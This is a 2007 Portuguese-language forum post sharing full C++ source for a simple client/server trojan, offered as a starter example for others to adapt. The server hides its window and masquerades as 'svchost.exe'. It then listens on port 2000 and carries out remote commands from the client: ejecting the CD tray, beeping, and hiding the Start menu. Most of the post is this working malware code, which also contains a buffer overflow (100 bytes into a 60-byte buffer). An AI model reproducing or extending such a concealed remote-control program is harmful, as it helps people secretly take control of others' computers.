[souce] Trojan(cilente/servidor) roda em modo dos

Started by Anonymous, 15 de June , 2007, 06:02:04 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

Este é um simples codigo de um trojan, escrito por mim, metron_x
os programas cliente e o servidor usam a biblioteca trojan.h.
este codigo possui poucas funçoes, mais mostra com clareza como funciona a conexao: cliente - servidor.

Compilei usando o c++builder 4, mais ele deve funcionar na maioria do compiladores

Trojan.h
#ifndef _TUT_TROJAN_H_
 #define _TUT_TROJAN_H_

  using namespace std;


#include <winsock.h>
#include <windows.h>
#include <string.h>
#include <conio.h>


WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;

BOOL cont, cone;
char comand[60], comand1[60], host[20];
int status, opcao,porta;
HWND janela, bar_oc, bot_oc;

class Server
{
 public:
  int Conectar();  //Conecta servidor
  int Desconectar(); //Desconecta servidor
  int Receber(); //Receber  e executar dados
  void Camuflar(); //Oculta e altera seu titulo
 
};

int Server::Conectar()
{
 if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR)
  {
   return 2;
  }
 if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR)
  {
   return 2;
  }
sock.sin_family=AF_INET;
sock.sin_port=htons(2000);
 if(bind(winsock,(SOCKADDR*)&sock,sizeof(sock))==SOCKET_ERROR)
  {
   return 2;
  }
listen(winsock,1);
 while((winsock=accept(winsock,0,0))==SOCKET_ERROR)
  {
   Sleep(1);
  }
return 0;
}
int Server::Desconectar()
{
 closesocket(winsock);
 WSACleanup();
 return 0;
}

void Server::Camuflar()
{
SetConsoleTitle("svchost.exe");
janela = FindWindow(NULL,"svchost.exe");
ShowWindow(janela,SW_HIDE);
}


int Server::Receber()
{
cont=true;
 while(cont==true)
  {
    Sleep(5);
    memset(comand1,0,100);
    status=recv(winsock,comand1,100,0);
     if(status==-1)
      {
       cout<<"Conexao perdia";
       Sleep(1500);
       return 2;
      }
     if((strcmp("open",comand1))==0)
      {
       mciSendString("Set cdaudio door open wait", 0, 0, 0);
       cout<<"abrindo CD"<<endl;
       Sleep(12);
      }
     if((strcmp("close",comand1))==0)
      {
       mciSendString("Set cdaudio door closed wait", 0, 0, 0);
       cout<<"fechando CD"<<endl;
       Sleep(12);
      }
     if((strcmp("beep",comand1))==0)
      {
       Beep(200,100);
      }
     if((strcmp("sumir",comand1))==0)
      {
       bar_oc = FindWindow("Shell_TrayWnd", 0);
       bot_oc = GetWindow(bar_oc, GW_CHILD);
       ShowWindow(bot_oc, SW_HIDE);
      }
     if((strcmp("apare",comand1))==0)
      {
      bar_oc= FindWindow("Shell_TrayWnd", 0);
      bot_oc= GetWindow(bar_oc, GW_CHILD);
      ShowWindow(bot_oc, SW_RESTORE);
      }
     if((strcmp("des",comand1))==0)
      {
       cout<<"Saindo...";
       Sleep(1500);
       cont=false;
      }
  }
return 0;
}

class Client
{
public:
 int Conectar();  //Conecta cliente
 int Desconectar();    //Desconecta
 int Enviar(); //Enviar dados
};

int Client::Conectar()
{
 cout<<"Digite o ip do servidor: ";
 cin.get(host,20);
 if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR)
  {
   cout<<"erro ao inicializar socket"<<endl;
   return 2;
  }
 if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR)
  {
   cout<<"erro ao criar socket";
   return 2;
  }
sock.sin_family=AF_INET;
sock.sin_port=htons(2000);
sock.sin_addr.s_addr=inet_addr(host); // Ip do servidor
 if(connect(winsock,(SOCKADDR*)&sock,sizeof(sock))==SOCKET_ERROR)
  {
   cout<<"erro ao conectar"<<endl;
   Sleep(1200);
   return 2;
  }
cout<<"Cliente conectado"<<endl;
return 0;
}

int Client::Desconectar()
{
closesocket(winsock);
WSACleanup();
}

int Client::Enviar()
{
cont=true;
cone=true;
 while(cont==true)
  {
   clrscr();
   Sleep(5);
   cout<<"Opcoes: "<<endl;
   cout<<"1 - Abrir CD"<<endl;
   cout<<"2 - Fechar CD"<<endl;
   cout<<"3 - Beep"<<endl;
   cout<<"4 - Sumir com Menu Iniciar"<<endl;
   cout<<"5 - Mostrar Menu Iniciar"<<endl;
   cout<<"6 - Desligar Servidor"<<endl;
   cout<<" 7 - Sair"<<endl<<endl;
   cout<<"Digite o numero do comando: ";
   cin>>opcao;
    if(opcao==1)
     {
      strcpy(comand,"open");
      send(winsock,comand,strlen(comand),0);
       if(cone==true)
        {
         cout<<"comando enviado";
         Sleep(2000);
        }
       else{
         cout<<"erro na conexao com servidor";
         Sleep(2000);
       }
     }
    if(opcao==2)
     {
      strcpy(comand,"close");
      send(winsock,comand,strlen(comand),0);
       if(cone==true)
        {
         cout<<"comando enviado";
         Sleep(2000);
        }
       else{
         cout<<"erro na conexao com servidor";
         Sleep(2000);
       }
     }
    if(opcao==3)
     {
      strcpy(comand,"beep");
      send(winsock,comand,strlen(comand),0);
       if(cone==true)
        {
         cout<<"comando enviado";
         Sleep(2000);
        }
       else{
         cout<<"erro na conexao com servidor";
         Sleep(2000);
       }
     }
    if(opcao==4)
     {
      strcpy(comand,"sumir");
      send(winsock,comand,strlen(comand),0);
       if(cone==true)
        {
         cout<<"comando enviado";
         Sleep(2000);
        }
       else{
         cout<<"erro na conexao com servidor";
         Sleep(2000);
       }
     }
    if(opcao==5)
     {
      strcpy(comand,"apare");
      send(winsock,comand,strlen(comand),0);
       if(cone==true)
        {
         cout<<"comando enviado";
         Sleep(2000);
        }
       else{
         cout<<"erro na conexao com servidor";
         Sleep(2000);
       }
     }
    if(opcao==6)
     {
      strcpy(comand,"des");
      send(winsock,comand,strlen(comand),0);
      cone=false;
      cout<<"comando enviado";
      Sleep(2000);
     }
    if(opcao==7)
     {
      cout<<"Saindo...";
      Sleep(1500);
      cont=false;
     }
  }
return 0;
}



 #endif // _TUT_TROJAN_H_

Cliente.cpp
#include <iostream>
#include <windows.h>
#include <string>
#include "Trojan.h"

  using namespace std;

main()
{
 int erro;
 Client cliente;

erro=cliente.Conectar();
 if(erro==2)
  {
   return 0;
  }
erro=cliente.Enviar();
 if(erro==2)
  {
   return 0;
  }
cliente.Desconectar();
}

Servidor.cpp
#include <iostream>
#include <windows.h>
#include <string>
#include "trojan.h"

  using namespace std;

main()
{
 int erro;
 Server Servidor;

Servidor.Camuflar();

erro=Servidor.Conectar();
 if(erro==2)
  {
   return 0;
  }
erro=Servidor.Receber();
 if(erro==2)
  {
   return 0;
  }
Servidor.Desconectar();

}

Espero que esse trojan sirva para alguem q etiver começando.
Embora o codigo seja muito simples ele pode ser alterado para q fique um codigo mais compacto e complexo

flw